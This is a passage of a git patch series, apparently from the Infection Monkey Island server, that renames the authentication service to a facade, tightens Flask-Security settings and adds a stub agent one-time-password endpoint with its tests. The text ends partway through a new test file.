b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index e45ee0fe619..048e71e4582 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from ..authentication_service import AuthenticationService +from ..authentication_facade import AuthenticationFacade logger = logging.getLogger(__name__) @@ -20,8 +20,8 @@ class Logout(AbstractResource): urls = ["/api/logout"] - def __init__(self, authentication_service: AuthenticationService): - self._authentication_service = authentication_service + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade def post(self): try: @@ -32,6 +32,6 @@ def post(self): if not isinstance(response, Response): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.handle_successful_logout() + self._authentication_facade.handle_successful_logout() return make_response(response) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 982b6f78011..2356f63b6d5 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -from ..authentication_service import AuthenticationService +from ..authentication_facade import AuthenticationFacade from .utils import get_username_password_from_request logger = logging.getLogger(__name__) @@ -21,8 +21,8 @@ class Register(AbstractResource): urls = ["/api/register"] - def __init__(self, authentication_service: AuthenticationService): - self._authentication_service = authentication_service + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade def post(self): """ @@ -41,6 +41,6 @@ def post(self): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.handle_successful_registration(username, password) + self._authentication_facade.handle_successful_registration(username, password) return make_response(response) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index f39c9709332..f6dba0e3b64 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -2,7 +2,7 @@ from common import DIContainer -from ..authentication_service import AuthenticationService +from ..authentication_facade import AuthenticationFacade from .login import Login from .logout import Logout from .register import Register @@ -10,11 +10,11 @@ def register_resources(api: flask_restful.Api, container: DIContainer): - authentication_service = container.resolve(AuthenticationService) + authentication_facade = container.resolve(AuthenticationFacade) - api.add_resource(Register, *Register.urls, resource_class_args=(authentication_service,)) + api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) api.add_resource( - RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_service,) + RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) - api.add_resource(Login, *Login.urls, resource_class_args=(authentication_service,)) - api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_service,)) + api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) + api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py index 46a3bfc452d..0f84273918a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/registration_status.py @@ -1,13 +1,13 @@ from monkey_island.cc.flask_utils import AbstractResource -from ..authentication_service import AuthenticationService +from ..authentication_facade import AuthenticationFacade class RegistrationStatus(AbstractResource): urls = ["/api/registration-status"] - def __init__(self, authentication_service: AuthenticationService): - self._authentication_service = authentication_service + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade def get(self): - return {"needs_registration": self._authentication_service.needs_registration()} + return {"needs_registration": self._authentication_facade.needs_registration()} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 1f774b935d3..b783da74960 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -3,8 +3,8 @@ import pytest from tests.unit_tests.monkey_island.conftest import init_mock_security_app -from monkey_island.cc.services.authentication_service.authentication_service import ( - AuthenticationService, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources import ( Login, @@ -15,33 +15,33 @@ @pytest.fixture -def mock_authentication_service(): - mock_service = MagicMock(spec=AuthenticationService) +def mock_authentication_facade(): + mock_service = MagicMock(spec=AuthenticationFacade) return mock_service @pytest.fixture -def build_flask_client(mock_authentication_service): +def build_flask_client(mock_authentication_facade): def inner(): - return get_mock_auth_app(mock_authentication_service).test_client() + return get_mock_auth_app(mock_authentication_facade).test_client() return inner -def get_mock_auth_app(authentication_service: AuthenticationService): +def get_mock_auth_app(authentication_facade: AuthenticationFacade): app, api = init_mock_security_app() - api.add_resource(Register, *Register.urls, resource_class_args=(authentication_service,)) - api.add_resource(Login, *Login.urls, resource_class_args=(authentication_service,)) - api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_service,)) + api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) + api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) + api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource( - RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_service,) + RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) return app @pytest.fixture -def flask_client(build_flask_client, mock_authentication_service): +def flask_client(build_flask_client, mock_authentication_facade): with build_flask_client() as flask_client: yield flask_client diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py index c784411d537..602e71669cf 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_login.py @@ -4,8 +4,8 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service.authentication_service import ( - AuthenticationService, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources.login import Login @@ -26,7 +26,7 @@ def inner(request_body): def test_credential_parsing( - monkeypatch, make_login_request, mock_authentication_service: AuthenticationService + monkeypatch, make_login_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_LOGIN_IMPORT, @@ -36,12 +36,12 @@ def test_credential_parsing( ) make_login_request(TEST_REQUEST) - mock_authentication_service.handle_successful_login.assert_called_with(USERNAME, PASSWORD) + mock_authentication_facade.handle_successful_login.assert_called_with(USERNAME, PASSWORD) -def test_empty_credentials(make_login_request, mock_authentication_service: AuthenticationService): +def test_empty_credentials(make_login_request, mock_authentication_facade: AuthenticationFacade): make_login_request("{}") - mock_authentication_service.handle_successful_login.assert_not_called() + mock_authentication_facade.handle_successful_login.assert_not_called() def test_login_successful(make_login_request, monkeypatch): @@ -58,7 +58,7 @@ def test_login_successful(make_login_request, monkeypatch): def test_login_failure( - monkeypatch, make_login_request, mock_authentication_service: AuthenticationService + monkeypatch, make_login_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_LOGIN_IMPORT, @@ -70,7 +70,7 @@ def test_login_failure( response = make_login_request(TEST_REQUEST) assert response.status_code == HTTPStatus.BAD_REQUEST - mock_authentication_service.handle_successful_login.assert_not_called() + mock_authentication_facade.handle_successful_login.assert_not_called() @pytest.mark.parametrize( @@ -91,18 +91,18 @@ def test_login_invalid_request( monkeypatch, login_response, make_login_request, - mock_authentication_service: AuthenticationService, + mock_authentication_facade: AuthenticationFacade, ): monkeypatch.setattr(FLASK_LOGIN_IMPORT, lambda: login_response) response = make_login_request(b"{}") assert response.status_code == HTTPStatus.BAD_REQUEST - mock_authentication_service.handle_successful_login.assert_not_called() + mock_authentication_facade.handle_successful_login.assert_not_called() def test_login_error( - monkeypatch, make_login_request, mock_authentication_service: AuthenticationService + monkeypatch, make_login_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_LOGIN_IMPORT, @@ -110,7 +110,7 @@ def test_login_error( status=HTTPStatus.OK, ), ) - mock_authentication_service.handle_successful_login = MagicMock(side_effect=Exception()) + mock_authentication_facade.handle_successful_login = MagicMock(side_effect=Exception()) response = make_login_request(TEST_REQUEST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py index 86c2e5ed9be..36c9fe13ad9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py @@ -3,8 +3,8 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service.authentication_service import ( - AuthenticationService, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources.logout import Logout @@ -40,17 +40,17 @@ def test_logout_failed( monkeypatch, logout_response, make_logout_request, - mock_authentication_service: AuthenticationService, + mock_authentication_facade: AuthenticationFacade, ): monkeypatch.setattr(FLASK_LOGOUT_IMPORT, lambda: logout_response) response = make_logout_request(TEST_REQUEST) - mock_authentication_service.handle_successful_logout.assert_not_called() + mock_authentication_facade.handle_successful_logout.assert_not_called() assert response.status_code == HTTPStatus.BAD_REQUEST def test_logout_successful( - monkeypatch, make_logout_request, mock_authentication_service: AuthenticationService + monkeypatch, make_logout_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_LOGOUT_IMPORT, @@ -62,4 +62,4 @@ def test_logout_successful( response = make_logout_request("") assert response.status_code == HTTPStatus.OK - mock_authentication_service.handle_successful_logout.assert_called_once() + mock_authentication_facade.handle_successful_logout.assert_called_once() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py index fa3d55e10f1..fb3d4ed7efa 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register.py @@ -4,8 +4,8 @@ import pytest from flask import Response -from monkey_island.cc.services.authentication_service.authentication_service import ( - AuthenticationService, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources.register import Register @@ -28,16 +28,16 @@ def inner(request_body): def test_register_failed( - monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService + monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): response = make_registration_request("{}") - mock_authentication_service.handle_successful_registration.assert_not_called() + mock_authentication_facade.handle_successful_registration.assert_not_called() assert response.status_code == HTTPStatus.BAD_REQUEST def test_register_successful( - monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService + monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_REGISTER_IMPORT, @@ -49,9 +49,7 @@ def test_register_successful( response = make_registration_request(TEST_REQUEST) assert response.status_code == HTTPStatus.OK - mock_authentication_service.handle_successful_registration.assert_called_with( - USERNAME, PASSWORD - ) + mock_authentication_facade.handle_successful_registration.assert_called_with(USERNAME, PASSWORD) @pytest.mark.parametrize( @@ -72,25 +70,25 @@ def test_register_invalid_request( monkeypatch, register_response, make_registration_request, - mock_authentication_service: AuthenticationService, + mock_authentication_facade: AuthenticationFacade, ): monkeypatch.setattr(FLASK_REGISTER_IMPORT, lambda: register_response) response = make_registration_request(b"{}") assert response.status_code == HTTPStatus.BAD_REQUEST - mock_authentication_service.handle_successful_registration.assert_not_called() + mock_authentication_facade.handle_successful_registration.assert_not_called() def test_register_error( - monkeypatch, make_registration_request, mock_authentication_service: AuthenticationService + monkeypatch, make_registration_request, mock_authentication_facade: AuthenticationFacade ): monkeypatch.setattr( FLASK_REGISTER_IMPORT, lambda: Response(status=HTTPStatus.OK), ) - mock_authentication_service.handle_successful_registration = MagicMock(side_effect=Exception()) + mock_authentication_facade.handle_successful_registration = MagicMock(side_effect=Exception()) response = make_registration_request(TEST_REQUEST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py index f5c97cead69..0b478b04d48 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_registration_status.py @@ -10,8 +10,8 @@ @pytest.mark.parametrize("needs_registration", [True, False]) -def test_needs_registration(flask_client, mock_authentication_service, needs_registration): - mock_authentication_service.needs_registration = MagicMock(return_value=needs_registration) +def test_needs_registration(flask_client, mock_authentication_facade, needs_registration): + mock_authentication_facade.needs_registration = MagicMock(return_value=needs_registration) response = flask_client.get(REGISTRATION_STATUS_URL, follow_redirects=True) assert response.status_code == 200 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 3933905f36b..16e584ef96d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -5,8 +5,8 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services.authentication_service.authentication_service import ( - AuthenticationService, +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.user import User @@ -31,32 +31,32 @@ def mock_island_event_queue(autouse=True) -> IIslandEventQueue: @pytest.fixture -def authentication_service( +def authentication_facade( mock_flask_app, mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, -) -> AuthenticationService: - return AuthenticationService(mock_repository_encryptor, mock_island_event_queue) +) -> AuthenticationFacade: + return AuthenticationFacade(mock_repository_encryptor, mock_island_event_queue) -def test_needs_registration__true(authentication_service: AuthenticationService): - assert authentication_service.needs_registration() +def test_needs_registration__true(authentication_facade: AuthenticationFacade): + assert authentication_facade.needs_registration() def test_needs_registration__false( monkeypatch, - authentication_service: AuthenticationService, + authentication_facade: AuthenticationFacade, ): User(username=USERNAME, password=PASSWORD).save() - assert not authentication_service.needs_registration() + assert not authentication_facade.needs_registration() def test_handle_successful_registration( mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, - authentication_service: AuthenticationService, + authentication_facade: AuthenticationFacade, ): - authentication_service.handle_successful_registration(USERNAME, PASSWORD) + authentication_facade.handle_successful_registration(USERNAME, PASSWORD) assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD @@ -74,18 +74,18 @@ def test_handle_successful_registration( def test_handle_sucessful_logout( mock_repository_encryptor: ILockableEncryptor, - authentication_service: AuthenticationService, + authentication_facade: AuthenticationFacade, ): - authentication_service.handle_successful_logout() + authentication_facade.handle_successful_logout() mock_repository_encryptor.lock.assert_called_once() def test_handle_sucessful_login( mock_repository_encryptor: ILockableEncryptor, - authentication_service: AuthenticationService, + authentication_facade: AuthenticationFacade, ): - authentication_service.handle_successful_login(USERNAME, PASSWORD) + authentication_facade.handle_successful_login(USERNAME, PASSWORD) mock_repository_encryptor.unlock.assert_called_once() assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME From 8e68b939c04ebc330d539d81100354d8002e3875 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 11:15:19 +0100 Subject: [PATCH 0551/1338] Island: Make cofngiure_flask_security functions private --- .../authentication_service/configure_flask_security.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 8fe2ff411ca..9f10bd90ed1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -30,7 +30,7 @@ def setup_authentication(app, data_dir): } ] - flask_security_config = generate_flask_security_configuration(data_dir) + flask_security_config = _generate_flask_security_configuration(data_dir) app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] app.config["SECURITY_USERNAME_ENABLE"] = True @@ -84,10 +84,10 @@ def to_dict(self, only_user): # This will cause 401 response instead of 301 for unauthorized requests for example app.security._want_json = lambda _request: True - app.session_interface = disable_session_cookies() + app.session_interface = _disable_session_cookies() -def generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: +def _generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: secret_file_path = str(data_dir / SECRET_FILE_NAME) try: with open(secret_file_path, "r") as secret_file: @@ -108,7 +108,7 @@ def _create_roles(user_datastore: UserDatastore): user_datastore.find_or_create_role(name=AccountRole.AGENT.name) -def disable_session_cookies() -> SecureCookieSessionInterface: +def _disable_session_cookies() -> SecureCookieSessionInterface: class CustomSessionInterface(SecureCookieSessionInterface): """Prevent creating session from API requests.""" From f726802d8548d783daea7cf52b4eaae846a6d204 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 11:52:16 +0100 Subject: [PATCH 0552/1338] Island: Move flask mongo related setup to a separate method --- .../configure_flask_security.py | 22 +++++++++++-------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 9f10bd90ed1..5f5716e60d2 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -20,15 +20,8 @@ AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time -def setup_authentication(app, data_dir): - app.config["MONGO_URI"] = MONGO_URL - app.config["MONGODB_SETTINGS"] = [ - { - "db": MONGO_DB_NAME, - "host": MONGO_DB_HOST, - "port": MONGO_DB_PORT, - } - ] +def setup_authentication(app, data_dir: Path): + _setup_flask_mongo(app) flask_security_config = _generate_flask_security_configuration(data_dir) app.config["SECRET_KEY"] = flask_security_config["secret_key"] @@ -87,6 +80,17 @@ def to_dict(self, only_user): app.session_interface = _disable_session_cookies() +def _setup_flask_mongo(app): + app.config["MONGO_URI"] = MONGO_URL + app.config["MONGODB_SETTINGS"] = [ + { + "db": MONGO_DB_NAME, + "host": MONGO_DB_HOST, + "port": MONGO_DB_PORT, + } + ] + + def _generate_flask_security_configuration(data_dir: Path) -> Dict[str, Any]: secret_file_path = str(data_dir / SECRET_FILE_NAME) try: From 27c9e83a54ace931c95991033a950545146c175b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 10 Mar 2023 11:59:49 +0200 Subject: [PATCH 0553/1338] Island: Improve a comment in configure_flask_security.py --- .../services/authentication_service/configure_flask_security.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 5f5716e60d2..7c8ef2d7c8b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -32,7 +32,7 @@ def setup_authentication(app, data_dir: Path): app.config["SECURITY_SEND_REGISTER_EMAIL"] = False app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME - # Ignore CSRF, because it's irrelevant for javascript applications + # Ignore CSRF, because we don't store tokens in cookies app.config["WTF_CSRF_CHECK_DEFAULT"] = False app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True # Forbid sending authentication token in URL parameters From d9a75bb801895465d1654cca7a66302a001af1a7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 10 Mar 2023 12:06:21 +0200 Subject: [PATCH 0554/1338] Island: Remove irrelevant "SECURITY_FRESHNESS" config value This timedelta was set to remove unnecessary endpoints from the API, but now we don't even register the flask-security-too blueprint --- .../authentication_service/configure_flask_security.py | 5 ----- 1 file changed, 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 7c8ef2d7c8b..ec6b1b047b9 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -1,6 +1,5 @@ import json import secrets -from datetime import timedelta from pathlib import Path from typing import Any, Dict @@ -37,10 +36,6 @@ def setup_authentication(app, data_dir: Path): app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True # Forbid sending authentication token in URL parameters app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None - # Setting this to a negative value disables freshness checking and "verify" - # endpoints. We don't need them. - # https://flask-security-too.readthedocs.io/en/stable/configuration.html#SECURITY_FRESHNESS - app.config["SECURITY_FRESHNESS"] = timedelta(-1) # The database object needs to be created after we configure the flask application db = MongoEngine(app) From 9a409cd2bd34ede0cc3ecca2bc6f4eec4983a23d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 10 Mar 2023 12:16:11 +0200 Subject: [PATCH 0555/1338] Island: Send generic responses for failed authentication errors If we don't send generic responses the login becomes vulnerable to an enumeration attack --- .../services/authentication_service/configure_flask_security.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index ec6b1b047b9..d2fb19dc934 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -31,6 +31,7 @@ def setup_authentication(app, data_dir: Path): app.config["SECURITY_SEND_REGISTER_EMAIL"] = False app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME + app.config["SECURITY_RETURN_GENERIC_RESPONSES"] = True # Ignore CSRF, because we don't store tokens in cookies app.config["WTF_CSRF_CHECK_DEFAULT"] = False app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True From 650557f97c79113cc90fdb3ca1270e0818b09907 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 12:21:56 +0100 Subject: [PATCH 0556/1338] Project: Add comment for User models field in vulture_allowlist --- vulture_allowlist.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index cfe159f54b0..eb5f3b54bbb 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -127,7 +127,7 @@ HadoopPlugin -# Remove after #2157 +# User model fields User.active User.password_hash User.fs_uniquifier From 7071fc401b250d9c8770ea71a050b4504da8c302 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 9 Mar 2023 20:58:24 +0000 Subject: [PATCH 0557/1338] Island: Add /api/request-otp endpoint --- monkey/monkey_island/cc/app.py | 2 ++ .../flask_resources/__init__.py | 1 + .../flask_resources/request_otp.py | 23 +++++++++++++++++++ 3 files changed, 26 insertions(+) create mode 100644 monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 3054e471289..672b491f557 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,6 +26,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) +from monkey_island.cc.services.authentication_service.flask_resources import RequestOTP from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -90,6 +91,7 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) + api.add_resource(RequestOTP) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index 61f13aa2f0f..c60923af36a 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -3,3 +3,4 @@ from .login import Login from .logout import Logout from .register_resources import register_resources +from .request_otp import RequestOTP diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py new file mode 100644 index 00000000000..0fcf70ab8bb --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py @@ -0,0 +1,23 @@ +from flask import make_response + +from monkey_island.cc.flask_utils import AbstractResource + + +class RequestOTP(AbstractResource): + """ + A resource for requesting a one-time password + + One-time passwords may be requested by an Agent that has already authenticated, + so that Agents that it propagates can register. + """ + + urls = ["/api/request-otp"] + + def get(self): + """ + Requests a one-time password + + :return: One-time password in the response body + """ + + return make_response({"otp": "supersecretpassword"}) From 649049c251ce048258b01bf9de3c975fa97ae085 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 13:13:41 +0530 Subject: [PATCH 0558/1338] Island: Change '/api/request-otp' to '/api/agent-otp' --- monkey/monkey_island/cc/app.py | 4 ++-- .../authentication_service/flask_resources/__init__.py | 2 +- .../flask_resources/{request_otp.py => agent_otp.py} | 10 +++++----- 3 files changed, 8 insertions(+), 8 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/flask_resources/{request_otp.py => agent_otp.py} (59%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 672b491f557..29de2eb25c2 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,7 +26,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.services.authentication_service.flask_resources import RequestOTP +from monkey_island.cc.services.authentication_service.flask_resources import AgentOTP from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -91,7 +91,7 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - api.add_resource(RequestOTP) + api.add_resource(AgentOTP) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index c60923af36a..be9980ab9e1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -3,4 +3,4 @@ from .login import Login from .logout import Logout from .register_resources import register_resources -from .request_otp import RequestOTP +from .agent_otp import AgentOTP diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py similarity index 59% rename from monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index 0fcf70ab8bb..eaf5956ecf8 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/request_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -3,19 +3,19 @@ from monkey_island.cc.flask_utils import AbstractResource -class RequestOTP(AbstractResource): +class AgentOTP(AbstractResource): """ - A resource for requesting a one-time password + A resource for requesting an Agent's one-time password One-time passwords may be requested by an Agent that has already authenticated, - so that Agents that it propagates can register. + so that Agents that it propagates can authenticate with the Island. """ - urls = ["/api/request-otp"] + urls = ["/api/agent-otp"] def get(self): """ - Requests a one-time password + Requests an Agent's one-time password :return: One-time password in the response body """ From f404b76236e74dee4cea904390df689d7e210962 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 17:03:23 +0530 Subject: [PATCH 0559/1338] UT: Add AgentOTP tests --- .../flask_resources/test_agent_otp.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py new file mode 100644 index 00000000000..0fc5dcd8260 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_agent_otp.py @@ -0,0 +1,20 @@ +import pytest + +from 